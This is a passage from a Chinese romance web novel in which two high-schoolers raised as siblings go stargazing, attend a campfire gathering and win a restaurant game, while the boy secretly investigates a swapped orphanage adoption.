路泊汀抬手直接掐上她的命门往车前带,温声脑袋的毛都要炸开了,一直哼哼唧唧叫唤,“我拜托你别拎我脖子了行吗!我这样看上去很像狗啊!!你能不能把我当人看啊!!!”
路泊汀随手把她驾到座位上,取下她的包勾向自己另一手,语气凉凉:“不是要学车吗,今晚能学会,这事我就给你顶了。”
温声听他这话就知道这次请家长又稳了,左右两小只眉头挑啊挑,明亮的大眼睛眯成一条狡黠的缝,“那你可要扶稳我了,我要是掉下来摔伤了,我就先给妈妈告状!”
他瞧不上她这语气,收回刚才的话:“那算了,不帮了。”
“别啊!”温声忙一把抓过他的衣襟,车身立马一晃,她又下意识用两腿夹紧,“你答应我要帮我的,不能说话不算数……”
路泊汀两手扶着后座,支棱起她骑行的龟速,开始提条件:“那先叫声哥吧。”
温声莫名顿了一下,偏头快速瞄他,好半天就是不叫。
路泊汀坏心眼地故意抖动后座,温声感觉马上要掉下去了,神情慌慌地抱紧他的胳膊大喊一句:“哥哥!”
别摇了,我错了……
43. 观星
晚上十一点。
温声洗完澡出来时,路泊汀正站在院子里在打电话,抬手吸了口烟,又仰起头徐徐吐出烟圈,烟雾溟濛,轻飘飘在头顶散开,颀长身影在暗色庭院里有几分卓耸蒙眬,湿发随意向后拂开,看到她后掀唇扬了扬手里的烟。
很少看到他抽烟。
她重新跑回卫生间里去吹头发。
路泊汀丢了烟蒂,淡声道:“明晚我来找你,帮我订一张下周二的机票。”
温声吹完头发后,院子里已经没了人影。
房间里异常安静,隔壁院子里有对情侣正准备上山,身旁的宠物狗叫个不停。
她蹲在床边给他发消息。
声声怪:你去哪里了?
等了两分钟没回复,她只好先收拾东西,又整理了凌乱的床和沙发。
路泊汀回来时是十分钟后,手里拿了两件厚的绿色军大衣,还有特意给她挑的雷锋帽。
“换上,山上温度低。”
温声眼睛一亮哇的一声,她还没穿过军大衣,取走其中一件短的套在毛衣上面,衣摆正好遮住腿弯,又戴上那顶小巧可爱的黑皮雷锋帽,两条白色的小耳朵垂在两侧,绒毛扫过脸颊,露出一双剪水明眸:“怎么样,好看吗?”
厚重宽大的衣服完全不显臃肿,反而衬的她很娇憨乖巧,室内温度高,抬头对着他挤眉笑时,小脸娇红俏丽。
一副小滑头的机灵样子。
很可爱。
路泊汀换上另一件衣服,他本来就是身高腿长的标准衣架子,绿大衣罩在身上更显得身姿挺拔,两人都刚洗过澡,皮肤泛着潮润,他歪头打量她身上的衣服,利落昭朗的五官在灯光下很勾人,挑眉一笑:“还不错。”
好看就是好看,还不错是什么意思?
温声嘟唇翻了个白眼,还没出声,就被他笑着拽住帽子的两条小耳朵拉近,俯下身,温软的唇贴紧她嘟起的唇沿,很轻柔的吮摩,手里捏揉她的腮颊,嘟起的嘴巴变成小o型,他的舌尖若有似无地抵进她微张的唇瓣,硬挺的鼻梁滑过她的鼻尖,手腕微用力,她被拽的离他更近了,潮热的鼻息牵缠交融,就在她以为他要探舌进来时,他突然低笑出声,舌尖平缓上卷,舔拂过她的上唇后退了出来。
瞅着她迷离扑朔的眼睛,路泊汀又好心替她整理好帽檐和衣领,笑的一脸人畜无害:“只是简单的吻而已,”手指轻刮过她的鼻子,“别多想啊宝宝。”
二话不说踢了他一脚,温声红着脸转身要走,又被他拽住,解下戴了很久的平安扣套在她的脖子上,是很小的时候,她还没回路家,姚女士专门给他求的。
“干嘛给我啊?”温声想重新取下来,总觉得他就这样给自己不太吉利。
路泊汀按住她的手,弯下腰黑眸幽深睟明:“我想你平平安安的。”
温声手里微微摩挲那块黑色的花纹玉石,还带着他温热的体温,低头轻声道:“我也想你平平安安。”
他站直又恢复一副不在意的调笑:“你能照顾好自己就是帮我最大的忙了。”伸手捏她的脸,“走吧,今晚上山的人挺多,再晚就没位置了。”
温声还站在原地,他走到沙发旁背起她的书包又去床头拿了手机,过来牵起她的手往外走。
她脚步一顿。
路泊汀只好停下,俯身两人对视,他收起玩世不恭:“我答应你,我们都会平平安安好不好。”
不想她胡思乱想,他拎起她的衣服后领往院子里走,一边走一边说:“先带你去买点零食。”
开车到山顶时已经过了凌晨十二点,两人随意挑了一处平缓空旷的位置,温声怀里抱了一堆路泊汀给她买的零食,她撕开一包薯片边吃边看他搭摄影器材,渭元镇处于南北交界,北方接连浩茫无际的沙漠,南方是烟波浩淼的湖泊,夜晚空气寒湿星月皎洁,不用望远镜就能看到一片浩瀚星空,四周是闹嚷的人群,她收起零食袋跑到他面前:“有需要我做的吗?”
路泊汀安装好云台和赤道仪,又调整了三脚架的方向,牵着她走到望远镜面前:“看一下能不能看到木星?”
温声弯腰趴在望远镜前,镜头里有一颗缓慢前行的蒙沌星球,仔细看能看清星球表面浮宕的大气风暴和红色的飓风眼,两级泛着深蓝色的极光,它的上空有一个小黑点,是随行的木卫二投下的黑影。
“哇!好神奇!”温声睁大眼睛使劲幌他的手,笑颜纯情稚漫。
路泊汀笑着掏出手机打开星测软件对准夜空,又变换了镜头方向:“再看看火星旁边的御夫座。”
温声这下直接跪在地上眼睛扒紧镜头,有一颗比刚才的木星稍小的橘红色星球,球面有几处暗色凹陷的气流在急骤飏动,它的周围也有两颗伴随的卫星,在冥暗的太空里相须而行,有一种巨大的茕离空寂感,视线上移,有一团微小但色彩绚丽斑斓的橙色回旋状星云,周围有烟尘似的迷雾气体氤散在星云附近,中间有五颗异常明亮的星星。
“最亮的那颗是离地球43光年的五车二,夏天的傍晚肉眼可以看的更清晰。”
温声又是哇的一声,一边听他科普一边自己转动望远镜:“有一团比较模糊的心型暗粉色星云叫什么呀?”
路泊汀低头去看,两人的脑袋挤在窄小的目镜显示屏前,彼此呼吸紧凑,他没有戴帽子,黑色蓬茸的碎发被冷风吹的有些凌乱,温声侧头快速瞟了他一眼,只能看清英气清冷的鼻梁,他盯紧镜头,又偏头去看手机:“是仙后座的心脏星云。”
“这个好模糊,应该离我们很远吧?”
他轻笑,伸手捏她的脸:“大概离我们七千多光年。”
七千多光年……
温声再次扒紧镜头努力去看清那个暗色心状星云,它的四周被磅礴蓊勃的星尘交结缠绕,在幽冥渊渺的虚空宇宙里仿佛一颗炽烈蹈动的心脏,在星际深处,在人类无法抵达的洪荒垠海中,不日不月而又深晦震撼的存在着。
路泊汀见她看的很认真,长指挥动又介绍了其他星云,周围人群扰杂,有支起望远镜却蹲在一旁玩手机的人,有抬头徒
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眼看星空的人,也有拿着手机按照星测软件拍远处密层星座的人。
在浩瀚的宇宙前,在这一刻,时间的钟响恍如停摆,只留下他们渺小清晰的心跳声。
身后有一对年轻情侣手里拿着两张拍立得走过来,笑着递给温声:“你俩的背影实在太般配啦,偷偷拍下的,希望没有打扰到你们。”
温声又惊又喜,垂眼仔细看那两张照片,一高一矮的背影,深绿色的军大衣在拍立得的曝光下颜色格外鲜艳,他弯下腰脸颊贴在她的帽子边,偏头看她时正好被拍下白皙立体的侧脸。
她突然就想到了一句话:夜空繁星点点,可我只想要你。
确实还蛮般配的……
由于太高兴她说话都有点磕巴:“谢……谢谢你们!”
路泊汀牵紧她的手,朝那对情侣浅笑道:“需要帮你们拍照吗?”
于是四个人在昏暗夜幕下互相拍了一组合照,临走前女生又提了一句:“半山腰一会有牧民举办露营宴席,游客可以随时参加。”
他们离开后,温声使劲摇路泊汀的胳膊:“我们也去吧!”
他抽出她手里多余的另一张照片,细看一瞬后塞进钱包里,温声本来想戳进手机壳里的,但是他两的手机都没戴壳,只好掀开军大衣揣进了裤子口袋里。
路泊汀又牵着她走回望远镜前:“再等等,今晚有流星雨……”刚说完,南边就有一颗流星猝然划过天际,周围压根没什么人注意,只有他两看到了,他快速站到她身后,伸手捂住她的眼睛,俯身在她耳侧悄声道:“宝宝,快许愿。”
温声今晚整个人都处在惊喜和讶然的情绪里,眼睛飞快掀闪,手心像触电一样,她的睫毛带动细微电流滑过他温敏的神经,举起的胳膊微微发麻。
她十指交叉握拳抵住下巴,温言软语下是旦旦深挚:“我希望,明年的这个时候还能和你一起来看星星。”
我们还在一起。
路泊汀有些无奈的笑出声:“下次愿望记得偷偷告诉我就行,不用大声说出来。”又转过她的身子,两手上下揉扯她粉嫩的脸蛋:“这很好实现啊宝宝,我答应你。”
两人最后拍了很多星云的图片,有赤红月牙状的巴纳德环、红色星辐四射的环状星云、上帝之眼的螺旋星云、华彩梦幻的仙女座星系,温声扶着望远镜还找到了距离地球两千多万光年的草帽系,稀薄苍色的光芒下,那团朦胧的星云真的很像路飞的宽大草帽。
她被逗笑出声,扯着他的袖子指了指月朗繁星的夜空:“宇宙真的好神奇啊,感觉人类好渺小。”
路泊汀低头正在收拾那些器材,顺便清理她刚才吃的零食袋子,随口回她:“你还蛮伟大的,毕竟我的快乐只有你能给。”
温声歪着头细细看他,见他一副顺口胡扯的漫不经心模样。
嘁,就知道是随口说说而已。
撂下望远镜,也不搭理他自己跑到车里去喝水了,路泊汀瞅着她气呼呼跑远的背影,摇头轻笑。
经不起逗的小不点。
44. 寻迹
到半山腰时,牧民搭建的火堆前已经围了一圈人,最前面站着几个拿着手鼓和马头琴的人正在唱当地有名的民间音乐,悠长绵柔的曲调,引得周围很多游客身体轻摇手掌跟着打节拍,鼓吹喧阗声回荡在四处,丝毫没有深山幽谷的僻寂,温声小声碎碎念:“这歌唱给狗狗听都觉得很深情。”
没想到被身后路过的少数民族小哥听见了,他把怀里的娜塔莎递过来,龇着一口白牙口吻略带打趣道:“丫头要不要唱一首?”
温声立马捂住脸装作没听见,这里少说也有几百号人了,当着这么多人的面唱歌她还有点放不开……
路泊汀用膝盖□□她的腿,下巴朝那把吉他点了点:“去给老公弹一首。”
弹个鬼哦!
温声使劲摇头,就是不弹。
他大大方方地接过琴,刚才唱歌的那群人已经唱完一曲,在火堆旁吆喝他:“小伙子来前面弹!”
周围响起闹哄鼓掌声,一起合照的那对年轻小情侣就站在火堆前笑着朝他们招手,路泊汀还真脸不红心不跳地牵着她走到众人面前,温声浅咳一声,已经做好给他鼓掌的准备了。
中间站的老大哥身上穿了一件和他们差不多的军大衣,身材高大魁梧,笑声粗狂豪爽:“小伙子要弹什么啊?”
路泊汀垂眼指尖轻滑琴弦,勾唇低语:“我希望我爱护的女孩能允许自己做自己,无论飞的高还是低,”他看向她,酒窝隐现,“我都会接住你。”
那时的温声还不知道这句话有什么含义,帽檐掩在她的眉梢,两人对视中,只觉得那股戳心的酸涩感又忽然袭来。
路泊汀重新低下头曲指勾弦,周围人的暧昧哟唤声被两人摒除在外,他弹了一首鸟之诗,轻悠舒缓的音乐声穿梭在明艳招曳的篝火中,像一只在黑夜里冲破焰火桎梏的飞鸟,明快地飞往自由之巅。
一曲终了,大家都欢欣雀跃的鼓起掌,完全没有凌晨两点多的疲困,温声也下意识地拍了拍手,那对情侣中的女生快步走过来对她小声说道:“你男朋友真的!”说完比起一个大拇指。
温声小嘴一翘,虚心收下她的夸赞。
路泊汀还完琴过来牵她:“要不要吃烤肉?”
那些牧民搭起火炉开始烤起了羊排,羊肉被烤的滋滋作响,喷香的烧烤味顺着冷风飘了过来,他两一晚上都没吃什么正儿八经的晚饭。
温声揉着肚子点点头。
山底是居户堆起的毡包,每一户门前都挂着一盏明亮的拍拍灯,房间内灶炉的橘色火光照在圆形透明的天窗上,从山上往下看,像刚才拍的星星。
“我下周要去一趟美国。”路泊汀递过来一碗冒着热气的奶茶。
温声睁大眼睛看他,没接那碗奶茶。
他只好放在一边,自顾自的解释:“舅舅有一个公益项目在筹备,我想去帮忙。”看她一副蹙眉苦脸的模样,伸手揉开那处紧缩的眉心,又轻声道,“会赶在你跳舞大赛前回来的。”
他被保送后学校也没必要再去了,找点事做也不错。
“你怎么现在才告诉我啊?”
太突然了。
路泊汀又端起那碗热奶茶,自己喝了一口:“就是怕太早告诉你,你自己难受。”
温声突然沉默起来,半晌才问他:“要去多久?”
还有一句没说出口,能不能别去。
他抽出纸抓过她刚才拿烤肉的手,细致温柔的给她擦手指:“半个多月吧。”
温声急了,抽出手又拍向他的肩侧:“这么久?那我上学就要一个人了吗?”
她的声音有些急也有些大,旁边有人扭头看过来,路泊汀不太在意的再次握紧她的手:“我已经和庵加河聊过了,他到时候送你回家。”
不想再聊这个话题,他擦干净手又端起那碗奶茶直接塞到她手里:“明天早上回江城,你的作业晚点告诉我,我来写。”
温声抿起唇,从知道他要去美国的那一刻,心情就不由控制地烦躁起来,以往他竞赛去外地,两人大多时候也会十天半个月见不到,但她从来没有这么慌神过。
好像,他去了就不会回来了一样。
路泊汀就是不愿意看到她这样,伸手去捏她的脸:“我答应你我会按时回来的。”
起身牵起她打算回民宿,温声还是站在原地不动,小脸紧绷也不看他。
他蹲下身,缓声哄慰道:“今晚想背着宝宝走。”
宽阔挺直的背朝向她,温声慢声吐了口气,动作很迟缓的爬了上去,两只胳膊圈紧他的脖子,脸颊蹭到他的颈侧,车只停在两三百米外的车道,可她觉得这条路越走越远,两人半天都没说话,他走的也很慢。
过了一会,她闷声道:“我比赛结束后必须在后台看到你,你要是没来,我就永远不理你了。”
路泊汀只是笑,停下来胳膊抬高垫起她,她被迫整个脑袋垂在他脸侧,他偏头吻在她的唇角,很轻的触挲,移开又吮嘬她的唇瓣,睫毛扫过她的皮肤,周围人来人往,一群糙汉子正好路过,看到有情侣接吻而且还是刚才弹琴的小伙子,哄笑声立马响起,温声忽然伸手捂住他的耳朵,低头缠紧他的下唇,牙齿用力咬啮。
直到血腥味在两人唇齿间漫溢她才缓缓松口。
路泊汀只是用舌尖舔过那处冒血丝的伤口,戏谑一笑:“下次再重点,没感觉啊宝宝。”
转过头背着她继续往停车的地方走。
看到那辆加长SUV后,他才徐徐冒出一句:“你跳舞的时候我会全程给你录像的。”
回到民宿时已经是凌晨四点钟,温声困得眼睛都要睁不开了,脱了衣服简单洗漱后就爬上了床,早晨六点钟,她被外面牧民放羊的声音吵醒,天色微明室内昏蒙,迷糊间看到沙发旁的壁灯还亮着,路泊汀坐在桌前手里翻着她的试卷,瞅她醒了,卷子一合:“写完了。”
温声还没睡醒,声音带着闷涩:“你没睡吗?”
他站起身活动了一下脖子,走过来倒在床上,又搂过她盖好被子,哑声道:“再睡会儿。”
开车回到江城时已经是下午,送她到怡翠苑后路泊汀打算直接
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走,温声站在门口扁嘴委屈道:“这就走啦,也不抱抱我。”
她忘记了门外有监控。
路泊汀瞥了眼摄像头,还是把手里的包扔进车里,朝她走过去。
他笑的一脸无奈,弯腰贴身抱紧她,嘴唇蹭了蹭她的脸颊:“等会吃完晚饭早点休息,明天见。”
温声回到卧室后重新拿出周末的作业,四张卷子都被他写完了,而且还是模仿她的字迹,知道她迷糊,中间有几处故意写错的步骤。
这个人……
细心的过分了。
路泊汀到庵加河家时,这人正在打电话哄人,听语气就知道是犯了贱所以把人惹毛了。
坐在一旁等了半天,人没把他当回事,给他丢过来一叠文件后躺在躺椅上继续打电话,路泊汀扯唇笑了下,卷起文件砸在他腿上,挑眉示意:麻利点。
庵加河故意磨时间似的缓声说话,还没说完最后的告别语就被他勾走手机直接挂断。
“我说你哄你老婆就是哄,我哄我老婆就不行了?”
手机又扔回他身上,路泊汀嗤笑一声:“她是你老婆么?”
没影儿的事不懂说个什么劲。
庵加河笑眯眯地撂了他一眼,重新拾起那堆文件挑出一张递给他:“再查下去怕你爸妈发现,只能查到这些。”
上河儿童福利院十二年前领养人员名单。
“同年领养的人数总共27人,有23人在国内,剩余4人分别去了美国法国和加拿大。”
路泊汀看了一眼名单上温声的名字,淡声道:“和她一起进福利院的人员信息有吗?”
庵加河找到一张纸质档案,上面的信息很少:“温声是8个月大的时候入的系统,一起进来的还有一个女婴,两人年纪差不多。”
黎雨。
“被美国亚裔家庭领走的人就是她。”两人对视一眼,当即就想到前福利院院长赵博在信里提到的路家真正的女儿现在在美国。
庵加河又从那叠文件底部圈出一处信息:“这是之前找到的领养手续记录的住家地址,现在可能已经搬走了,而且福利院里所有工作人员都换了一遍,想找到现在的地址很难。”
十二年前路家确实在上河福利院找到了女儿,但不是温声,而是黎雨,只不过手续被调了包。
谁动的手脚?
路泊汀六岁那年路康和姚书文分居两地各忙各的事业,他当时被送到爷爷家照顾了大半年,在这期间和路家夫妇联系最多的就只有李叔。
他从皮夹里取出一张很旧的贴纸放到桌上:“查一下这个人和李樊的关系。”
庵加河瞟了一眼纸上的名字,随即面露惊讶地看向他。
路泊汀只是点了点头,拿起那堆文件准备走人。
“其实目前最好的办法就是维持现状,再找下去你爸妈肯定会察觉,我不建议你去找她。”
他背影一顿,语气听不出情绪:“没时间了,我必须找到她。”
临走前又说了一句:“下周我不在国内,帮我盯着点。”
45. 觉察
周一早晨温声犯了难,路泊汀直往她的下颚亲,脖子上这会吻痕太明显,高领毛衣都遮不住。
只能戴围巾了。
下楼后,姚女士正在用餐,朝她招手:“妈妈给你做了苹果泥蒸蛋羹,乖宝吃完再走。”
温声磨蹭地小步走过去,隔了一个位置坐在她旁边,姚女士这人心思很细腻,稍不注意就被发现了。
果然,她的视线扫过来:“今天天气很暖和怎么想着戴围巾?”
温声向下稍微拽开一点围巾,又戳捣餐盘里的苹果泥直到变成糊状,装作一脸淡定地回笑道:“快要跳舞比赛了,最近想穿的保暖一些。”
“周末和哥哥去观星开心吗?”
她叉起一块西蓝花不紧不慢地送进嘴里,刚要答话就被姚女士接下来的话差点呛住。
“你两那天晚上在做什么?声音很奇怪。”
脑海里立马滑过周末她打电话过来时路泊汀正压着自己亲的画面,温声在心里给自己狂打气,千万千万要撑住。
还是一副镇定脸:“哥哥的女朋友来找他,两人吵架啦。”
姚女士喝了一口咖啡,谐谑一笑:“哎哟稀奇了,你哥女朋友忍到现在还没踹了他啊。”
温声这下是彻底被哽住喉咙不下不上了,喝了大半杯水后继续胡诌:“他们关系其实还不错。”
什么叫搬起石头砸自己的脚她算是知道了。
姚女士突然偏腰俯过来,在她耳侧悄声问道:“小姑娘人怎么样?妈妈很想见一面,但是怕吓到她。”
温声浑身一抖,慌忙斜过身子小声道:“妈妈,他女朋友人很好……”
不敢再多说,她快速吃完餐盘里的早饭背起书包就往门口走,姚书文从厨房拿出刘嫂榨的果汁玻璃瓶交给李叔:“记得让她多喝水,嘴唇又红又肿的都上火了。”
盯着车开出院子后,她才拧眉沉下脸。
没看错的话,脖子那块红迹是吻痕。
周一早高峰,车开到高架时堵了半天,温声拿出书准备背会单词,顺便点开微信骚扰一下路泊汀。
“阿声,你以后想去哪个城市读书?”李叔突然出声。
温声抬眼看他,觉得奇怪,以往她和李叔很少搭话,更别提在这种开车的时候聊天了,斟酌语气道:“还是看成绩决定吧。”
他从后视镜里窥了她一眼,没再说话。
开到校门口时,早读预备铃正好响起,李叔从前杯座里取出那瓶果汁递给她:“夫人让你多喝水。”
温声收起书,本想接过瓶子直接下车。
但他没有松手。
眼睛直直凝在她身上,温声被盯得心里发紧,刚要说话,车窗忽然被磕响。
庵加河单肩背包,咬着酸奶的吸管,朝她扬下巴:“要迟到了妹。”
又伸手拉开车门。
温声陡然松了口气,也不要那瓶果汁了,收回手抱着书包快速下了车。
庵加河的视线轻悠悠瞟过驾驶位,李叔反应过来失职了,开了车窗忙和她低声道歉。
温声避开他的视线,扭头直接进了学校。
“这段时间我送你回家。”庵加河喝完最后的酸奶,路过垃圾桶时,手腕上抬。
咻——
纸杯呈抛物线精准落入。
温声不想麻烦他,摇头拒绝:“我自己打车回就可以。”
他无奈一笑:“行行好,你哥答应我这段时间送你回去就给我一副拳套。”
余光瞥见从操场走出来的纤盈身影,脚步下意识离温声远了两米:“就这么说好了,明天放学后去学校停车场找我。”
温声还在一边朝前走一边说着拒绝的话,身后半天没人回应她。
扭头一看,人影都没了。
她进教学楼前掏出手机给路泊汀发了条调侃的消息。
声声怪:你朋友和你一样癫。
路泊汀回消息是在第二节课课间。
L:他比我严重多了好么。
温声捧着手机笑出声,江乐橙转过身细细瞧她,完了还点头咂嘴地朝她眯眼一笑。
“怎么了?”
“这是和好了?”
温声关了手机趴在桌上看她:“周末还去看了星星,等照片洗出来送你。”
教室里这会没什么人,江乐橙凑得更近了,小声揶揄道:“你脖子是什么情况啊?”
温声的脸瞬间爆红,手指圈紧围巾,整个下巴掩进羊绒针织里,半天才哼唧道:“不就那回事吗?”
两人关系好,江乐橙对她向来直言不讳,于是整个脑袋戳挠她的肩膀,声音更小了,隐着几分暧昧:“那个……发生了吗?”
温声睁着一双大眼睛装傻。
“听不懂你在说什么诶。”
哼。
江乐橙刚要打趣一番,唐媛从教室后排径直走过来,手里捏着一张舞蹈大赛的名单:“不是和你说过这次比赛自己主动退出吗?”
语气很冲,江乐橙没忍住朝她翻了个白眼。
温声打开保温杯喝了口水,接着整理了一通桌面后才看向她:“你在担心什么啊?有实力的话就舞台上说话,不要冲我大喊大叫。”对着江乐橙呶呶嘴,两人默契一笑,“很没礼貌耶。”
唐媛站在桌子旁冷眼看她直到上课铃声响起才离开。
“她好吓人,咱们还是离她远点吧。”
温声没当回事地拿出笔记本,想起另一件事:“少美联赛的摄影我打算去一趟小时候待过的福利院,可能不让随便怕,去看看能不能拍一支公益视频。”
江乐橙点点头:“我陪你一起去。”
晚上放学后,她书包都来不及背,抱着就往门外跑,结果路泊汀就靠在班门口,胳膊一伸拎住她的衣领,拖着声音慢悠悠道:“见老公不用这么着急啊宝宝。”
周围都是走动的老师和同学,温声每次都会被他语不惊人死不休的说话方式搞得很一言难尽,怀里是书包,捂脸也不是捂耳朵也不是,拽住他的胳膊直朝楼下跑,嘴上还要怼骂几句:“您能在学校里给我点面子吗?”
他笑的很不着调:“我有说错吗?不然你老公是谁?”
终于出了教学楼,来到人少的空地,温声让他站在原地别动,自己跑到四五米开外,竖起食指命令他:“接好了,掉地上你就死定了!”说完举起白色书包重重地抛向他。
路泊汀先是做作地装出一副很惊慌的表情,在包快要砸脸上时,又一只手轻松勾住,朝她眨眨眼睛戏谑道:“哥们是真厉害啊。”
温声慢吞吞走近,又绕着他周身打量了两圈,痞里痞气地调笑道:“呦呦呦,今晚穿这么帅,是为了和我约会吗?”
他刚健完身,顺便洗了澡,顺便换了一身还算符合她审美的衣服,蓬茸碎发下黑眸熠润清泠,最近好像又瘦了一些,好看的五官愈发历落昭朗,挑眉给了她一个你懂我的表情:“哪次约会不是正儿八经来见你的。”
温声凑近踮
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起脚在他身上嗅了嗅。
好好闻。
于是坏心眼地摇他的胳膊:“我们去吃火锅吧?”
路泊汀有些好笑地弹她脑门,又捏着她的颈肉往校外走:“我订了餐厅,今晚允许你狠狠地宰我。”
“不要不要,就吃火锅。”
开车到建门路的一家老牌火锅店时,店内正在做活动,参与你划我猜的默契挑战,两分钟内答出十道题以上的顾客可以赢得666元的现金大红包。
听到现金两个字温声心动了,拉着他就往人群里蹭:“老板,我们也要参加!”
路泊汀晃了晃手腕,“手松开,我转你红包。”
“这不一样!”
店内很热闹,很多人都看了过来,参加挑战的客人站在中间临时搭起的台子上面,顶灯明亮刺眼,温声有种自己是猴子被参观的囧感,悄咪咪拽他的衣摆:“怎么办?有点尴尬了。”
路泊汀用肩膀□□她,哼笑道:“不容易啊,我们温姐还会尴尬。”
温声刚想回怼,老板直直走过来:“两位是情侣吗?先从你们开始昂。”
他两站在最靠边,手里被稀里糊涂地塞上话筒。
“我划你答,五秒内答不上就换。”她凑近又小声道,“必须拿到这笔巨款,你懂吧?”
说完学他刚才的动作肩膀撞了撞他。
路泊汀掀唇一笑示意收到。
计时开始。
——水瓶座
温声立马手指点了点他,竖起两根手指,又快速收回比了一个仰头喝水的动作。
“水瓶座。”
周围客人哟呵一声,这都能猜出来。
温声心里暗爽,可不是嘛,毕竟他是二月二号的生日诶。
——老婆饼
她轻咳一声,手指点了点自己,又在空中画了一个圆,最后作捧食的动作。
“老婆饼。”
哦豁!
附近几桌客人也不吃了,拿出牙签边剔牙边看。
路泊汀瞅了一眼周围。
这很难么?
——破防
这就有点难了,温声微蹙眉,先告诉他是两个字,下一秒用仅两人能懂的目光睨向他的□□,又摊开两手作无奈状。
他似笑非笑地睇向她,抬手让她等着。
“破防。”
火锅店内的气氛被彻底炒了起来,刚进来的客人连位置都没选直接过来跟着凑热闹,老板也很惊讶两人之间的默契,毕竟两分钟内15道题他两就答对了14道,之前最高记录只有12道。
温声咂咂嘴,本来可以全部答对的,她用胳膊肘轻顶他的腹部:“刚才你为什么突然卡壳了?”
人牙子这个词很难猜吗?
路泊汀揉着肚子轻叹气:“有点饿,不想猜了。”
他今天还什么都没吃呢。
落座后,老板拿着包好的红包走过来,笑着放在两人手边:“小姑娘真厉害啊。”
老板走远后,温声拿起红包动作略显粗鲁地撕开封口,她已经很久没见过现金了,崭新的人民币平贴地躺在纸封里。
突然就觉得自己很富有。
路泊汀给她倒果汁,看她一脸小财迷样失笑道:“平时是饿到你了吗?”
她举起果汁和他碰杯,眉欢眼笑一副很开心的模样:“祝我们未来有钱有才有情怀!”
“就祝你平安快乐吧。”
“哼,你的祝福好老套啊。”
46. 挑明
临走前温声又打包了一份炒饭,晚上气温低,路边很多商贩正在收摊,她支着脑袋看了一圈,瞥到马路拐角口的老人后,拉着路泊汀小跑过去。
寒风冷天里老人推着三轮车在卖氢气球和花,车子旁的纸板上写到他是聋哑人,没有智能手机,希望大家用现金支付。
一个多小时过去了,气球和花还是原样。
路泊汀有些意外,晚上经过这条街的时候她趴在车窗朝外看,还问他有没有现金。
温声打手语:爷爷,这些花和气球怎么卖啊?
小时候在福利院带她的阿姨就是聋哑人,手语也是那个时候会的。
老人年纪七十岁上下,身体干瘦,竖起冻的蜷起来的指头很慢地给她比划:一束花一块,一个气球两块。
温声大致数了数气球和花,带上车不太可能,她掏出红包里的钱叠好后放在他手边的水杯下:这些花和气球我都买了。
路泊汀抽出一只氢气球塞她手里,又指了指不远处:“送到火锅店,老板应该能接受。”
两人一拍即合,温声给老人打手语:一会需要借用您的三轮车搬一下花,大概十分钟。
老人见他们全买了,拿过水杯和钱后佝着背对他们一直点头道谢,路泊汀是第一次骑三轮车,长腿一跨,浅咳一声。
有点施展不开。
温声使劲拍他的大腿,朝他挤兑一笑:“你行不行啊,不行就我来。”
他少见地翻了个白眼:“啧,一边儿呆着,别挡道。”
等他骑走后,温声把炒饭打包盒放进老人手边的布袋里,又弯腰替他打扫了车子附近的花屑,整条街都很安静,如果手里不是捏着他刚给的气球,她有种他已经去了美国的孤寂感。
抬眼细细看过去。
他正拿着钱夹手指点了点这边。
“真不用给钱,不就一顿饭的事吗,以后只要他晚上在我都会找人送饭哈。”老板是个爽快豪气的人,饭店生意好离不开他的爽亮。
搬完所有的花和气球后,路泊汀这回骑的很顺,在温声面前来了个很装逼也很帅气的漂移,她也很捧哏地吹了一声哑哨:“哇哦,有点帅。”
老人骑车离开后,她手里的那只氢气球挂在靠近他那侧的后视镜上,抿紧唇过了很久才开口:“希望你明天坐飞机一路平安。”
声音有点哽还有几分委屈。
路泊汀勾过她绞紧的手指,指腹温柔摩挲她的指尖:“我会记得每天都给你打电话。”
温声突然就红了眼圈,但还是笑着打趣他:“美国那边如果有金发碧眼的美女找你搭讪怎么办?”
他支起下巴很做作地想了一会,手心的小手却握的很紧,想了半天好像想清楚了:“那就告诉她,我老婆有点娇气脾气还不好,脑子也转不过弯。”
温声想抽出手打他,他又轻声道:“但我很想她也很爱她。”
感觉眼泪就要掉下来,她努力吸吸鼻子,伸手在他衣服里摸出一盒软糖,又在他眼前晃了晃,“我吃完这盒糖你必须回来。”
回到怡翠苑时,姚书文正在客厅等他们,手里轻晃一杯红酒,对温声柔声道:“阿声先上楼,我和哥哥聊会。
温声下意识看向路泊汀,他悄然捏了捏她的手指让她别担心。
等她离开后,姚书文开门见山:“周末发生了什么事?”
不等他回答,她继续问道:“阿声在谈恋爱吗?”
路泊汀给自己也倒了杯红酒,不紧不慢地浅酌一口:“您想知道什么?”
神色不动,声音也很淡。
姚书文细瞧他的表情,但这小子太能装了,视线直勾勾对过来,窥不出半分情绪,于是缓了缓语气:“如果你和她男朋友认识,你作为哥哥提醒一句,我不允许做过线的事。”
知道她说的是什么意思,路泊汀放下杯子顺走果盘里的车厘子,口吻很随意:“她快成年了,想和谁谈想做什么完全可以自己做决定。”吐掉籽准备换话题,“我明早的飞机,需要给舅舅带什么吗?”
姚书文并不打算放过他,盯紧他接着问:“舅舅一家在纽约,你怎么会落地芝加哥?”
知道她查了行程,他依然很稳地回话:“您不是说我恋爱关系混乱吗?”随即朝她戏谑一笑,“我总得谈一个国外的女朋友才对得起这个名号吧。”
姚书文一顿,轻抿红酒后对他温和一笑:“藏好了儿子,别让我抓住你的把柄。”
路泊汀耸耸肩,不太在意的站起身:“那我就先回去了,让李叔送送我吧。”
温声收到他的信息时正在写拍摄视频的脚本,想拍一组公益宣传片不是一件简单事,尤其她还是高中生,没有太多时间,只能周末抽空去拍。
L:好好吃饭,下个月见。
她连忙滑开手机,噼里啪啦打字。
声声怪:妈妈说什么了吗?
L:没。
温声皱起眉,想到他可能在坐车不方便看手机,于是也没再追问重新趴回电脑前写脚本。
路泊汀收起手机视线飘到窗外,半晌,淡声问:“李叔,您来路家多久了?”
车内很安静,只有汽车稳疾滑行的嗡鸣声和手指圈住方向盘的摩擦声,李叔凝神注意前面的路况,随口答道:“二十一年了。”
路泊汀突然打开遮阳帘,车内顿时一片昏暗,道路两旁的路灯透过挡风玻璃照进来,他翘起腿视线悠悠转回车内,从后座看前面一览了然,李叔侧眼看向后视镜,两人目光对上,他又移开:“我刚来的时候还没有你,那个时候只是……”
路泊汀晃了晃鞋尖打断他的话:“您和温志强是什么关系?”
可能是话题转的太快,李叔一时没反应过来,车子吱的一声急刹,空旷的马路上车辆本来就少,这下车内更静了,两人的呼吸声清晰显明。
一前一后,频切舒缓。
路泊汀提唇一笑,要的就是这反应。
他从后座俯过身开了双闪,又从车载冰箱拿出酒杯倒了两杯香槟,一杯放在驾驶位旁的中央扶手上。
